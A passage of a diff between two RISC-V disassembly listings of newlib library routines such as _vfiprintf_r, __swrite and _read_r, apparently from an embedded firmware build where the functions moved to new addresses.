+204031e4:	e78d                	bnez	a5,2040320e <_printf_i+0x268>
+204031e6:	47b2                	lw	a5,12(sp)
+204031e8:	4448                	lw	a0,12(s0)
+204031ea:	f0f55be3          	bge	a0,a5,20403100 <_printf_i+0x15a>
+204031ee:	853e                	mv	a0,a5
+204031f0:	bf01                	j	20403100 <_printf_i+0x15a>
+204031f2:	4685                	li	a3,1
+204031f4:	8656                	mv	a2,s5
+204031f6:	85ca                	mv	a1,s2
+204031f8:	8526                	mv	a0,s1
+204031fa:	9982                	jalr	s3
+204031fc:	f16501e3          	beq	a0,s6,204030fe <_printf_i+0x158>
+20403200:	0a05                	addi	s4,s4,1
+20403202:	445c                	lw	a5,12(s0)
+20403204:	4732                	lw	a4,12(sp)
+20403206:	8f99                	sub	a5,a5,a4
+20403208:	fefa45e3          	blt	s4,a5,204031f2 <_printf_i+0x24c>
+2040320c:	bfe9                	j	204031e6 <_printf_i+0x240>
+2040320e:	4a01                	li	s4,0
+20403210:	01940a93          	addi	s5,s0,25
+20403214:	5b7d                	li	s6,-1
+20403216:	b7f5                	j	20403202 <_printf_i+0x25c>
 
-204047fe <_read_r>:
-204047fe:	1141                	addi	sp,sp,-16
-20404800:	c422                	sw	s0,8(sp)
-20404802:	842a                	mv	s0,a0
-20404804:	852e                	mv	a0,a1
-20404806:	85b2                	mv	a1,a2
-20404808:	8636                	mv	a2,a3
-2040480a:	8201a223          	sw	zero,-2012(gp) # 8000d894 <errno>
-2040480e:	c606                	sw	ra,12(sp)
-20404810:	b74fe0ef          	jal	ra,20402b84 <_read>
-20404814:	57fd                	li	a5,-1
-20404816:	00f51663          	bne	a0,a5,20404822 <_read_r+0x24>
-2040481a:	8241a783          	lw	a5,-2012(gp) # 8000d894 <errno>
-2040481e:	c391                	beqz	a5,20404822 <_read_r+0x24>
-20404820:	c01c                	sw	a5,0(s0)
-20404822:	40b2                	lw	ra,12(sp)
-20404824:	4422                	lw	s0,8(sp)
-20404826:	0141                	addi	sp,sp,16
-20404828:	8082                	ret
+20403218 <__sfputc_r>:
+20403218:	461c                	lw	a5,8(a2)
+2040321a:	17fd                	addi	a5,a5,-1
+2040321c:	c61c                	sw	a5,8(a2)
+2040321e:	0007d963          	bgez	a5,20403230 <__sfputc_r+0x18>
+20403222:	4e18                	lw	a4,24(a2)
+20403224:	00e7c563          	blt	a5,a4,2040322e <__sfputc_r+0x16>
+20403228:	47a9                	li	a5,10
+2040322a:	00f59363          	bne	a1,a5,20403230 <__sfputc_r+0x18>
+2040322e:	a929                	j	20403648 <__swbuf_r>
+20403230:	421c                	lw	a5,0(a2)
+20403232:	852e                	mv	a0,a1
+20403234:	00178713          	addi	a4,a5,1
+20403238:	c218                	sw	a4,0(a2)
+2040323a:	00b78023          	sb	a1,0(a5)
+2040323e:	8082                	ret
 
-2040482a <_sbrk_r>:
-2040482a:	1141                	addi	sp,sp,-16
-2040482c:	c422                	sw	s0,8(sp)
-2040482e:	842a                	mv	s0,a0
-20404830:	852e                	mv	a0,a1
-20404832:	8201a223          	sw	zero,-2012(gp) # 8000d894 <errno>
-20404836:	c606                	sw	ra,12(sp)
-20404838:	af0fe0ef          	jal	ra,20402b28 <_sbrk>
-2040483c:	57fd                	li	a5,-1
-2040483e:	00f51663          	bne	a0,a5,2040484a <_sbrk_r+0x20>
-20404842:	8241a783          	lw	a5,-2012(gp) # 8000d894 <errno>
-20404846:	c391                	beqz	a5,2040484a <_sbrk_r+0x20>
-20404848:	c01c                	sw	a5,0(s0)
-2040484a:	40b2                	lw	ra,12(sp)
-2040484c:	4422                	lw	s0,8(sp)
-2040484e:	0141                	addi	sp,sp,16
-20404850:	8082                	ret
+20403240 <__sfputs_r>:
+20403240:	1101                	addi	sp,sp,-32
+20403242:	cc22                	sw	s0,24(sp)
+20403244:	ca26                	sw	s1,20(sp)
+20403246:	c84a                	sw	s2,16(sp)
+20403248:	c64e                	sw	s3,12(sp)
+2040324a:	c452                	sw	s4,8(sp)
+2040324c:	ce06                	sw	ra,28(sp)
+2040324e:	892a                	mv	s2,a0
+20403250:	89ae                	mv	s3,a1
+20403252:	8432                	mv	s0,a2
+20403254:	00d604b3          	add	s1,a2,a3
+20403258:	5a7d                	li	s4,-1
+2040325a:	00941463          	bne	s0,s1,20403262 <__sfputs_r+0x22>
+2040325e:	4501                	li	a0,0
+20403260:	a809                	j	20403272 <__sfputs_r+0x32>
+20403262:	00044583          	lbu	a1,0(s0)
+20403266:	864e                	mv	a2,s3
+20403268:	854a                	mv	a0,s2
+2040326a:	377d                	jal	20403218 <__sfputc_r>
+2040326c:	0405                	addi	s0,s0,1
+2040326e:	ff4516e3          	bne	a0,s4,2040325a <__sfputs_r+0x1a>
+20403272:	40f2                	lw	ra,28(sp)
+20403274:	4462                	lw	s0,24(sp)
+20403276:	44d2                	lw	s1,20(sp)
+20403278:	4942                	lw	s2,16(sp)
+2040327a:	49b2                	lw	s3,12(sp)
+2040327c:	4a22                	lw	s4,8(sp)
+2040327e:	6105                	addi	sp,sp,32
+20403280:	8082                	ret
 
-20404852 <__sread>:
-20404852:	1141                	addi	sp,sp,-16
-20404854:	c422                	sw	s0,8(sp)
-20404856:	842e                	mv	s0,a1
-20404858:	00e59583          	lh	a1,14(a1)
-2040485c:	c606                	sw	ra,12(sp)
-2040485e:	3745                	jal	204047fe <_read_r>
-20404860:	00054963          	bltz	a0,20404872 <__sread+0x20>
-20404864:	487c                	lw	a5,84(s0)
-20404866:	97aa                	add	a5,a5,a0
-20404868:	c87c                	sw	a5,84(s0)
-2040486a:	40b2                	lw	ra,12(sp)
-2040486c:	4422                	lw	s0,8(sp)
-2040486e:	0141                	addi	sp,sp,16
-20404870:	8082                	ret
-20404872:	00c45783          	lhu	a5,12(s0)
-20404876:	777d                	lui	a4,0xfffff
-20404878:	177d                	addi	a4,a4,-1
-2040487a:	8ff9                	and	a5,a5,a4
-2040487c:	00f41623          	sh	a5,12(s0)
-20404880:	b7ed                	j	2040486a <__sread+0x18>
+20403282 <_vfiprintf_r>:
+20403282:	7135                	addi	sp,sp,-160
+20403284:	cd22                	sw	s0,152(sp)
+20403286:	cb26                	sw	s1,148(sp)
+20403288:	c94a                	sw	s2,144(sp)
+2040328a:	c74e                	sw	s3,140(sp)
+2040328c:	cf06                	sw	ra,156(sp)
+2040328e:	c552                	sw	s4,136(sp)
+20403290:	c356                	sw	s5,132(sp)
+20403292:	c15a                	sw	s6,128(sp)
+20403294:	dede                	sw	s7,124(sp)
+20403296:	dce2                	sw	s8,120(sp)
+20403298:	dae6                	sw	s9,116(sp)
+2040329a:	89aa                	mv	s3,a0
+2040329c:	84ae                	mv	s1,a1
+2040329e:	8932                	mv	s2,a2
+204032a0:	8436                	mv	s0,a3
+204032a2:	c509                	beqz	a0,204032ac <_vfiprintf_r+0x2a>
+204032a4:	4d1c                	lw	a5,24(a0)
+204032a6:	e399                	bnez	a5,204032ac <_vfiprintf_r+0x2a>
+204032a8:	f18ff0ef          	jal	ra,204029c0 <__sinit>
+204032ac:	00001797          	auipc	a5,0x1
+204032b0:	1a078793          	addi	a5,a5,416 # 2040444c <__sf_fake_stdin>
+204032b4:	0cf49c63          	bne	s1,a5,2040338c <_vfiprintf_r+0x10a>
+204032b8:	0049a483          	lw	s1,4(s3)
+204032bc:	00c4d783          	lhu	a5,12(s1)
+204032c0:	8ba1                	andi	a5,a5,8
+204032c2:	c7fd                	beqz	a5,204033b0 <_vfiprintf_r+0x12e>
+204032c4:	489c                	lw	a5,16(s1)
+204032c6:	c7ed                	beqz	a5,204033b0 <_vfiprintf_r+0x12e>
+204032c8:	02000793          	li	a5,32
+204032cc:	02f104a3          	sb	a5,41(sp)
+204032d0:	03000793          	li	a5,48
+204032d4:	d202                	sw	zero,36(sp)
+204032d6:	02f10523          	sb	a5,42(sp)
+204032da:	c622                	sw	s0,12(sp)
+204032dc:	02500b93          	li	s7,37
+204032e0:	00001a97          	auipc	s5,0x1
+204032e4:	1aca8a93          	addi	s5,s5,428 # 2040448c <__sf_fake_stdout+0x20>
+204032e8:	4c05                	li	s8,1
+204032ea:	4b29                	li	s6,10
+204032ec:	844a                	mv	s0,s2
+204032ee:	00044783          	lbu	a5,0(s0)
+204032f2:	c399                	beqz	a5,204032f8 <_vfiprintf_r+0x76>
+204032f4:	0f779063          	bne	a5,s7,204033d4 <_vfiprintf_r+0x152>
+204032f8:	41240cb3          	sub	s9,s0,s2
+204032fc:	01240d63          	beq	s0,s2,20403316 <_vfiprintf_r+0x94>
+20403300:	86e6                	mv	a3,s9
+20403302:	864a                	mv	a2,s2
+20403304:	85a6                	mv	a1,s1
+20403306:	854e                	mv	a0,s3
+20403308:	3f25                	jal	20403240 <__sfputs_r>
+2040330a:	57fd                	li	a5,-1
+2040330c:	1ef50463          	beq	a0,a5,204034f4 <_vfiprintf_r+0x272>
+20403310:	5792                	lw	a5,36(sp)
+20403312:	97e6                	add	a5,a5,s9
+20403314:	d23e                	sw	a5,36(sp)
+20403316:	00044783          	lbu	a5,0(s0)
+2040331a:	1c078d63          	beqz	a5,204034f4 <_vfiprintf_r+0x272>
+2040331e:	57fd                	li	a5,-1
+20403320:	00140913          	addi	s2,s0,1
+20403324:	c802                	sw	zero,16(sp)
+20403326:	ce02                	sw	zero,28(sp)
+20403328:	ca3e                	sw	a5,20(sp)
+2040332a:	cc02                	sw	zero,24(sp)
+2040332c:	040109a3          	sb	zero,83(sp)
+20403330:	d482                	sw	zero,104(sp)
+20403332:	00094583          	lbu	a1,0(s2)
+20403336:	4615                	li	a2,5
+20403338:	8556                	mv	a0,s5
+2040333a:	7d4000ef          	jal	ra,20403b0e <memchr>
+2040333e:	47c2                	lw	a5,16(sp)
+20403340:	00190413          	addi	s0,s2,1
+20403344:	e951                	bnez	a0,204033d8 <_vfiprintf_r+0x156>
+20403346:	0107f713          	andi	a4,a5,16
+2040334a:	c709                	beqz	a4,20403354 <_vfiprintf_r+0xd2>
+2040334c:	02000713          	li	a4,32
+20403350:	04e109a3          	sb	a4,83(sp)
+20403354:	0087f713          	andi	a4,a5,8
+20403358:	c709                	beqz	a4,20403362 <_vfiprintf_r+0xe0>
+2040335a:	02b00713          	li	a4,43
+2040335e:	04e109a3          	sb	a4,83(sp)
+20403362:	00094683          	lbu	a3,0(s2)
+20403366:	02a00713          	li	a4,42
+2040336a:	06e68f63          	beq	a3,a4,204033e8 <_vfiprintf_r+0x166>
+2040336e:	47f2                	lw	a5,28(sp)
+20403370:	844a                	mv	s0,s2
+20403372:	4681                	li	a3,0
+20403374:	4625                	li	a2,9
+20403376:	00044703          	lbu	a4,0(s0)
+2040337a:	00140593          	addi	a1,s0,1
+2040337e:	fd070713          	addi	a4,a4,-48
+20403382:	0ae67863          	bgeu	a2,a4,20403432 <_vfiprintf_r+0x1b0>
+20403386:	caad                	beqz	a3,204033f8 <_vfiprintf_r+0x176>
+20403388:	ce3e                	sw	a5,28(sp)
+2040338a:	a0bd                	j	204033f8 <_vfiprintf_r+0x176>
+2040338c:	00001797          	auipc	a5,0x1
+20403390:	0e078793          	addi	a5,a5,224 # 2040446c <__sf_fake_stdout>
+20403394:	00f49563          	bne	s1,a5,2040339e <_vfiprintf_r+0x11c>
+20403398:	0089a483          	lw	s1,8(s3)
+2040339c:	b705                	j	204032bc <_vfiprintf_r+0x3a>
+2040339e:	00001797          	auipc	a5,0x1
+204033a2:	08e78793          	addi	a5,a5,142 # 2040442c <__sf_fake_stderr>
+204033a6:	f0f49be3          	bne	s1,a5,204032bc <_vfiprintf_r+0x3a>
+204033aa:	00c9a483          	lw	s1,12(s3)
+204033ae:	b739                	j	204032bc <_vfiprintf_r+0x3a>
+204033b0:	85a6                	mv	a1,s1
+204033b2:	854e                	mv	a0,s3
+204033b4:	2e99                	jal	2040370a <__swsetup_r>
+204033b6:	d909                	beqz	a0,204032c8 <_vfiprintf_r+0x46>
+204033b8:	557d                	li	a0,-1
+204033ba:	40fa                	lw	ra,156(sp)
+204033bc:	446a                	lw	s0,152(sp)
+204033be:	44da                	lw	s1,148(sp)
+204033c0:	494a                	lw	s2,144(sp)
+204033c2:	49ba                	lw	s3,140(sp)
+204033c4:	4a2a                	lw	s4,136(sp)
+204033c6:	4a9a                	lw	s5,132(sp)
+204033c8:	4b0a                	lw	s6,128(sp)
+204033ca:	5bf6                	lw	s7,124(sp)
+204033cc:	5c66                	lw	s8,120(sp)
+204033ce:	5cd6                	lw	s9,116(sp)
+204033d0:	610d                	addi	sp,sp,160
+204033d2:	8082                	ret
+204033d4:	0405                	addi	s0,s0,1
+204033d6:	bf21                	j	204032ee <_vfiprintf_r+0x6c>
+204033d8:	41550533          	sub	a0,a0,s5
+204033dc:	00ac1533          	sll	a0,s8,a0
+204033e0:	8fc9                	or	a5,a5,a0
+204033e2:	c83e                	sw	a5,16(sp)
+204033e4:	8922                	mv	s2,s0
+204033e6:	b7b1                	j	20403332 <_vfiprintf_r+0xb0>
+204033e8:	4732                	lw	a4,12(sp)
+204033ea:	00470693          	addi	a3,a4,4
+204033ee:	4318                	lw	a4,0(a4)
+204033f0:	c636                	sw	a3,12(sp)
+204033f2:	02074963          	bltz	a4,20403424 <_vfiprintf_r+0x1a2>
+204033f6:	ce3a                	sw	a4,28(sp)
+204033f8:	00044703          	lbu	a4,0(s0)
+204033fc:	02e00793          	li	a5,46
+20403400:	04f71f63          	bne	a4,a5,2040345e <_vfiprintf_r+0x1dc>
+20403404:	00144703          	lbu	a4,1(s0)
+20403408:	02a00793          	li	a5,42
+2040340c:	02f71b63          	bne	a4,a5,20403442 <_vfiprintf_r+0x1c0>
+20403410:	47b2                	lw	a5,12(sp)
+20403412:	0409                	addi	s0,s0,2
+20403414:	00478713          	addi	a4,a5,4
+20403418:	439c                	lw	a5,0(a5)
+2040341a:	c63a                	sw	a4,12(sp)
+2040341c:	0207c163          	bltz	a5,2040343e <_vfiprintf_r+0x1bc>
+20403420:	ca3e                	sw	a5,20(sp)
+20403422:	a835                	j	2040345e <_vfiprintf_r+0x1dc>
+20403424:	40e00733          	neg	a4,a4
+20403428:	0027e793          	ori	a5,a5,2
+2040342c:	ce3a                	sw	a4,28(sp)
+2040342e:	c83e                	sw	a5,16(sp)
+20403430:	b7e1                	j	204033f8 <_vfiprintf_r+0x176>
+20403432:	036787b3          	mul	a5,a5,s6
+20403436:	842e                	mv	s0,a1
+20403438:	4685                	li	a3,1
+2040343a:	97ba                	add	a5,a5,a4
+2040343c:	bf2d                	j	20403376 <_vfiprintf_r+0xf4>
+2040343e:	57fd                	li	a5,-1
+20403440:	b7c5                	j	20403420 <_vfiprintf_r+0x19e>
+20403442:	0405                	addi	s0,s0,1
+20403444:	ca02                	sw	zero,20(sp)
+20403446:	4681                	li	a3,0
+20403448:	4781                	li	a5,0
+2040344a:	4625                	li	a2,9
+2040344c:	00044703          	lbu	a4,0(s0)
+20403450:	00140593          	addi	a1,s0,1
+20403454:	fd070713          	addi	a4,a4,-48
+20403458:	06e67463          	bgeu	a2,a4,204034c0 <_vfiprintf_r+0x23e>
+2040345c:	f2f1                	bnez	a3,20403420 <_vfiprintf_r+0x19e>
+2040345e:	00044583          	lbu	a1,0(s0)
+20403462:	460d                	li	a2,3
+20403464:	00001517          	auipc	a0,0x1
+20403468:	03050513          	addi	a0,a0,48 # 20404494 <__sf_fake_stdout+0x28>
+2040346c:	254d                	jal	20403b0e <memchr>
+2040346e:	cd11                	beqz	a0,2040348a <_vfiprintf_r+0x208>
+20403470:	00001797          	auipc	a5,0x1
+20403474:	02478793          	addi	a5,a5,36 # 20404494 <__sf_fake_stdout+0x28>
+20403478:	8d1d                	sub	a0,a0,a5
+2040347a:	04000793          	li	a5,64
+2040347e:	00a797b3          	sll	a5,a5,a0
+20403482:	4542                	lw	a0,16(sp)
+20403484:	0405                	addi	s0,s0,1
+20403486:	8d5d                	or	a0,a0,a5
+20403488:	c82a                	sw	a0,16(sp)
+2040348a:	00044583          	lbu	a1,0(s0)
+2040348e:	4619                	li	a2,6
+20403490:	00001517          	auipc	a0,0x1
+20403494:	00850513          	addi	a0,a0,8 # 20404498 <__sf_fake_stdout+0x2c>
+20403498:	00140913          	addi	s2,s0,1
+2040349c:	02b10423          	sb	a1,40(sp)
+204034a0:	25bd                	jal	20403b0e <memchr>
+204034a2:	c12d                	beqz	a0,20403504 <_vfiprintf_r+0x282>
+204034a4:	00000793          	li	a5,0
+204034a8:	e795                	bnez	a5,204034d4 <_vfiprintf_r+0x252>
+204034aa:	4742                	lw	a4,16(sp)
+204034ac:	47b2                	lw	a5,12(sp)
+204034ae:	10077713          	andi	a4,a4,256
+204034b2:	cf09                	beqz	a4,204034cc <_vfiprintf_r+0x24a>
+204034b4:	0791                	addi	a5,a5,4
+204034b6:	c63e                	sw	a5,12(sp)
+204034b8:	5792                	lw	a5,36(sp)
+204034ba:	97d2                	add	a5,a5,s4
+204034bc:	d23e                	sw	a5,36(sp)
+204034be:	b53d                	j	204032ec <_vfiprintf_r+0x6a>
+204034c0:	036787b3          	mul	a5,a5,s6
+204034c4:	842e                	mv	s0,a1
+204034c6:	4685                	li	a3,1
+204034c8:	97ba                	add	a5,a5,a4
+204034ca:	b749                	j	2040344c <_vfiprintf_r+0x1ca>
+204034cc:	079d                	addi	a5,a5,7
+204034ce:	9be1                	andi	a5,a5,-8
+204034d0:	07a1                	addi	a5,a5,8
+204034d2:	b7d5                	j	204034b6 <_vfiprintf_r+0x234>
+204034d4:	0078                	addi	a4,sp,12
+204034d6:	00000697          	auipc	a3,0x0
+204034da:	d6a68693          	addi	a3,a3,-662 # 20403240 <__sfputs_r>
+204034de:	8626                	mv	a2,s1
+204034e0:	080c                	addi	a1,sp,16
+204034e2:	854e                	mv	a0,s3
+204034e4:	00000097          	auipc	ra,0x0
+204034e8:	000000e7          	jalr	zero # 0 <__stack_size-0x800>
+204034ec:	57fd                	li	a5,-1
+204034ee:	8a2a                	mv	s4,a0
+204034f0:	fcf514e3          	bne	a0,a5,204034b8 <_vfiprintf_r+0x236>
+204034f4:	00c4d783          	lhu	a5,12(s1)
+204034f8:	0407f793          	andi	a5,a5,64
+204034fc:	ea079ee3          	bnez	a5,204033b8 <_vfiprintf_r+0x136>
+20403500:	5512                	lw	a0,36(sp)
+20403502:	bd65                	j	204033ba <_vfiprintf_r+0x138>
+20403504:	0078                	addi	a4,sp,12
+20403506:	00000697          	auipc	a3,0x0
+2040350a:	d3a68693          	addi	a3,a3,-710 # 20403240 <__sfputs_r>
+2040350e:	8626                	mv	a2,s1
+20403510:	080c                	addi	a1,sp,16
+20403512:	854e                	mv	a0,s3
+20403514:	a93ff0ef          	jal	ra,20402fa6 <_printf_i>
+20403518:	bfd1                	j	204034ec <_vfiprintf_r+0x26a>
 
-20404882 <__swrite>:
-20404882:	00c5d783          	lhu	a5,12(a1)
-20404886:	1101                	addi	sp,sp,-32
-20404888:	cc22                	sw	s0,24(sp)
-2040488a:	ca26                	sw	s1,20(sp)
-2040488c:	c84a                	sw	s2,16(sp)
-2040488e:	c64e                	sw	s3,12(sp)
-20404890:	ce06                	sw	ra,28(sp)
-20404892:	1007f793          	andi	a5,a5,256
-20404896:	84aa                	mv	s1,a0
-20404898:	842e                	mv	s0,a1
-2040489a:	8932                	mv	s2,a2
-2040489c:	89b6                	mv	s3,a3
-2040489e:	c791                	beqz	a5,204048aa <__swrite+0x28>
-204048a0:	00e59583          	lh	a1,14(a1)
-204048a4:	4689                	li	a3,2
-204048a6:	4601                	li	a2,0
-204048a8:	210d                	jal	20404cca <_lseek_r>
-204048aa:	00c45783          	lhu	a5,12(s0)
-204048ae:	777d                	lui	a4,0xfffff
-204048b0:	177d                	addi	a4,a4,-1
-204048b2:	8ff9                	and	a5,a5,a4
-204048b4:	00e41583          	lh	a1,14(s0)
-204048b8:	00f41623          	sh	a5,12(s0)
-204048bc:	4462                	lw	s0,24(sp)
-204048be:	40f2                	lw	ra,28(sp)
-204048c0:	86ce                	mv	a3,s3
-204048c2:	864a                	mv	a2,s2
-204048c4:	49b2                	lw	s3,12(sp)
-204048c6:	4942                	lw	s2,16(sp)
-204048c8:	8526                	mv	a0,s1
-204048ca:	44d2                	lw	s1,20(sp)
-204048cc:	6105                	addi	sp,sp,32
-204048ce:	810ff06f          	j	204038de <_write_r>
+2040351a <_open_r>:
+2040351a:	1141                	addi	sp,sp,-16
+2040351c:	c422                	sw	s0,8(sp)
+2040351e:	842a                	mv	s0,a0
+20403520:	852e                	mv	a0,a1
+20403522:	85b2                	mv	a1,a2
+20403524:	8636                	mv	a2,a3
+20403526:	8201a223          	sw	zero,-2012(gp) # 8000d884 <errno>
+2040352a:	c606                	sw	ra,12(sp)
+2040352c:	da5fe0ef          	jal	ra,204022d0 <_open>
+20403530:	57fd                	li	a5,-1
+20403532:	00f51663          	bne	a0,a5,2040353e <_open_r+0x24>
+20403536:	8241a783          	lw	a5,-2012(gp) # 8000d884 <errno>
+2040353a:	c391                	beqz	a5,2040353e <_open_r+0x24>
+2040353c:	c01c                	sw	a5,0(s0)
+2040353e:	40b2                	lw	ra,12(sp)
+20403540:	4422                	lw	s0,8(sp)
+20403542:	0141                	addi	sp,sp,16
+20403544:	8082                	ret
 
-204048d2 <__sseek>:
-204048d2:	1141                	addi	sp,sp,-16
-204048d4:	c422                	sw	s0,8(sp)
-204048d6:	842e                	mv	s0,a1
-204048d8:	00e59583          	lh	a1,14(a1)
-204048dc:	c606                	sw	ra,12(sp)
-204048de:	26f5                	jal	20404cca <_lseek_r>
-204048e0:	57fd                	li	a5,-1
-204048e2:	00c45703          	lhu	a4,12(s0)
-204048e6:	00f51b63          	bne	a0,a5,204048fc <__sseek+0x2a>
-204048ea:	77fd                	lui	a5,0xfffff
-204048ec:	17fd                	addi	a5,a5,-1
-204048ee:	8ff9                	and	a5,a5,a4
-204048f0:	00f41623          	sh	a5,12(s0)
-204048f4:	40b2                	lw	ra,12(sp)
-204048f6:	4422                	lw	s0,8(sp)
-204048f8:	0141                	addi	sp,sp,16
-204048fa:	8082                	ret
-204048fc:	6785                	lui	a5,0x1
-204048fe:	8fd9                	or	a5,a5,a4
-20404900:	00f41623          	sh	a5,12(s0)
-20404904:	c868                	sw	a0,84(s0)
-20404906:	b7fd                	j	204048f4 <__sseek+0x22>
+20403546 <_read_r>:
+20403546:	1141                	addi	sp,sp,-16
+20403548:	c422                	sw	s0,8(sp)
+2040354a:	842a                	mv	s0,a0
+2040354c:	852e                	mv	a0,a1
+2040354e:	85b2                	mv	a1,a2
+20403550:	8636                	mv	a2,a3
+20403552:	8201a223          	sw	zero,-2012(gp) # 8000d884 <errno>
+20403556:	c606                	sw	ra,12(sp)
+20403558:	da7fe0ef          	jal	ra,204022fe <_read>
+2040355c:	57fd                	li	a5,-1
+2040355e:	00f51663          	bne	a0,a5,2040356a <_read_r+0x24>
+20403562:	8241a783          	lw	a5,-2012(gp) # 8000d884 <errno>
+20403566:	c391                	beqz	a5,2040356a <_read_r+0x24>
+20403568:	c01c                	sw	a5,0(s0)
+2040356a:	40b2                	lw	ra,12(sp)
+2040356c:	4422                	lw	s0,8(sp)
+2040356e:	0141                	addi	sp,sp,16
+20403570:	8082                	ret
 
-20404908 <__sclose>:
-20404908:	00e59583          	lh	a1,14(a1)
-2040490c:	a2e5                	j	20404af4 <_close_r>
+20403572 <__sread>:
+20403572:	1141                	addi	sp,sp,-16
+20403574:	c422                	sw	s0,8(sp)
+20403576:	842e                	mv	s0,a1
+20403578:	00e59583          	lh	a1,14(a1)
+2040357c:	c606                	sw	ra,12(sp)
+2040357e:	37e1                	jal	20403546 <_read_r>
+20403580:	00054963          	bltz	a0,20403592 <__sread+0x20>
+20403584:	487c                	lw	a5,84(s0)
+20403586:	97aa                	add	a5,a5,a0
+20403588:	c87c                	sw	a5,84(s0)
+2040358a:	40b2                	lw	ra,12(sp)
+2040358c:	4422                	lw	s0,8(sp)
+2040358e:	0141                	addi	sp,sp,16
+20403590:	8082                	ret
+20403592:	00c45783          	lhu	a5,12(s0)
+20403596:	777d                	lui	a4,0xfffff
+20403598:	177d                	addi	a4,a4,-1
+2040359a:	8ff9                	and	a5,a5,a4
+2040359c:	00f41623          	sh	a5,12(s0)
+204035a0:	b7ed                	j	2040358a <__sread+0x18>
 
-2040490e <strchr>:
-2040490e:	0ff5f593          	andi	a1,a1,255
-20404912:	00054783          	lbu	a5,0(a0)
-20404916:	c791                	beqz	a5,20404922 <strchr+0x14>
-20404918:	00b79363          	bne	a5,a1,2040491e <strchr+0x10>
-2040491c:	8082                	ret
-2040491e:	0505                	addi	a0,a0,1
-20404920:	bfcd                	j	20404912 <strchr+0x4>
-20404922:	c191                	beqz	a1,20404926 <strchr+0x18>
-20404924:	4501                	li	a0,0
-20404926:	8082                	ret
+204035a2 <__swrite>:
+204035a2:	00c5d783          	lhu	a5,12(a1)
+204035a6:	1101                	addi	sp,sp,-32
+204035a8:	cc22                	sw	s0,24(sp)
+204035aa:	ca26                	sw	s1,20(sp)
+204035ac:	c84a                	sw	s2,16(sp)
+204035ae:	c64e                	sw	s3,12(sp)
+204035b0:	ce06                	sw	ra,28(sp)
+204035b2:	1007f793          	andi	a5,a5,256
+204035b6:	84aa                	mv	s1,a0
+204035b8:	842e                	mv	s0,a1
+204035ba:	8932                	mv	s2,a2
+204035bc:	89b6                	mv	s3,a3
+204035be:	c791                	beqz	a5,204035ca <__swrite+0x28>
+204035c0:	00e59583          	lh	a1,14(a1)
+204035c4:	4689                	li	a3,2
+204035c6:	4601                	li	a2,0
+204035c8:	210d                	jal	204039ea <_lseek_r>
+204035ca:	00c45783          	lhu	a5,12(s0)
+204035ce:	777d                	lui	a4,0xfffff
+204035d0:	177d                	addi	a4,a4,-1
+204035d2:	8ff9                	and	a5,a5,a4
+204035d4:	00e41583          	lh	a1,14(s0)
+204035d8:	00f41623          	sh	a5,12(s0)
+204035dc:	4462                	lw	s0,24(sp)
+204035de:	40f2                	lw	ra,28(sp)
+204035e0:	86ce                	mv	a3,s3
+204035e2:	864a                	mv	a2,s2
+204035e4:	49b2                	lw	s3,12(sp)
+204035e6:	4942                	lw	s2,16(sp)
+204035e8:	8526                	mv	a0,s1
+204035ea:	44d2                	lw	s1,20(sp)
+204035ec:	6105                	addi	sp,sp,32
+204035ee:	9b8ff06f          	j	204027a6 <_write_r>
 
-20404928 <__swbuf_r>:
-20404928:	1101                	addi	sp,sp,-32
-2040492a:	cc22                	sw	s0,24(sp)
-2040492c:	ca26                	sw	s1,20(sp)
-2040492e:	c84a                	sw	s2,16(sp)
-20404930:	ce06                	sw	ra,28(sp)
-20404932:	c64e                	sw	s3,12(sp)
-20404934:	84aa                	mv	s1,a0
-20404936:	892e                	mv	s2,a1
-20404938:	8432                	mv	s0,a2
-2040493a:	c509                	beqz	a0,20404944 <__swbuf_r+0x1c>
-2040493c:	4d1c                	lw	a5,24(a0)
-2040493e:	e399                	bnez	a5,20404944 <__swbuf_r+0x1c>
-20404940:	9bcff0ef          	jal	ra,20403afc <__sinit>
-20404944:	00001797          	auipc	a5,0x1
-20404948:	5c878793          	addi	a5,a5,1480 # 20405f0c <__sf_fake_stdin>
-2040494c:	06f41963          	bne	s0,a5,204049be <__swbuf_r+0x96>
-20404950:	40c0                	lw	s0,4(s1)
-20404952:	4c1c                	lw	a5,24(s0)
-20404954:	c41c                	sw	a5,8(s0)
-20404956:	00c45783          	lhu	a5,12(s0)
-2040495a:	8ba1                	andi	a5,a5,8
-2040495c:	c3c9                	beqz	a5,204049de <__swbuf_r+0xb6>
-2040495e:	481c                	lw	a5,16(s0)
-20404960:	cfbd                	beqz	a5,204049de <__swbuf_r+0xb6>
-20404962:	481c                	lw	a5,16(s0)
-20404964:	4008                	lw	a0,0(s0)
-20404966:	0ff97993          	andi	s3,s2,255
-2040496a:	0ff97913          	andi	s2,s2,255
-2040496e:	8d1d                	sub	a0,a0,a5
-20404970:	485c                	lw	a5,20(s0)
-20404972:	00f54663          	blt	a0,a5,2040497e <__swbuf_r+0x56>
-20404976:	85a2                	mv	a1,s0
-20404978:	8526                	mv	a0,s1
-2040497a:	24ed                	jal	20404c64 <_fflush_r>
-2040497c:	e52d                	bnez	a0,204049e6 <__swbuf_r+0xbe>
-2040497e:	441c                	lw	a5,8(s0)
-20404980:	0505                	addi	a0,a0,1
-20404982:	17fd                	addi	a5,a5,-1
-20404984:	c41c                	sw	a5,8(s0)
-20404986:	401c                	lw	a5,0(s0)
-20404988:	00178713          	addi	a4,a5,1
-2040498c:	c018                	sw	a4,0(s0)
-2040498e:	01378023          	sb	s3,0(a5)
-20404992:	485c                	lw	a5,20(s0)
-20404994:	00a78963          	beq	a5,a0,204049a6 <__swbuf_r+0x7e>
-20404998:	00c45783          	lhu	a5,12(s0)
-2040499c:	8b85                	andi	a5,a5,1
-2040499e:	cb81                	beqz	a5,204049ae <__swbuf_r+0x86>
-204049a0:	47a9                	li	a5,10
-204049a2:	00f91663          	bne	s2,a5,204049ae <__swbuf_r+0x86>
-204049a6:	85a2                	mv	a1,s0
-204049a8:	8526                	mv	a0,s1
-204049aa:	2c6d                	jal	20404c64 <_fflush_r>
-204049ac:	ed0d                	bnez	a0,204049e6 <__swbuf_r+0xbe>
-204049ae:	40f2                	lw	ra,28(sp)
-204049b0:	4462                	lw	s0,24(sp)
-204049b2:	44d2                	lw	s1,20(sp)
-204049b4:	49b2                	lw	s3,12(sp)
-204049b6:	854a                	mv	a0,s2
-204049b8:	4942                	lw	s2,16(sp)
-204049ba:	6105                	addi	sp,sp,32
-204049bc:	8082                	ret
-204049be:	00001797          	auipc	a5,0x1
-204049c2:	56e78793          	addi	a5,a5,1390 # 20405f2c <__sf_fake_stdout>
-204049c6:	00f41463          	bne	s0,a5,204049ce <__swbuf_r+0xa6>
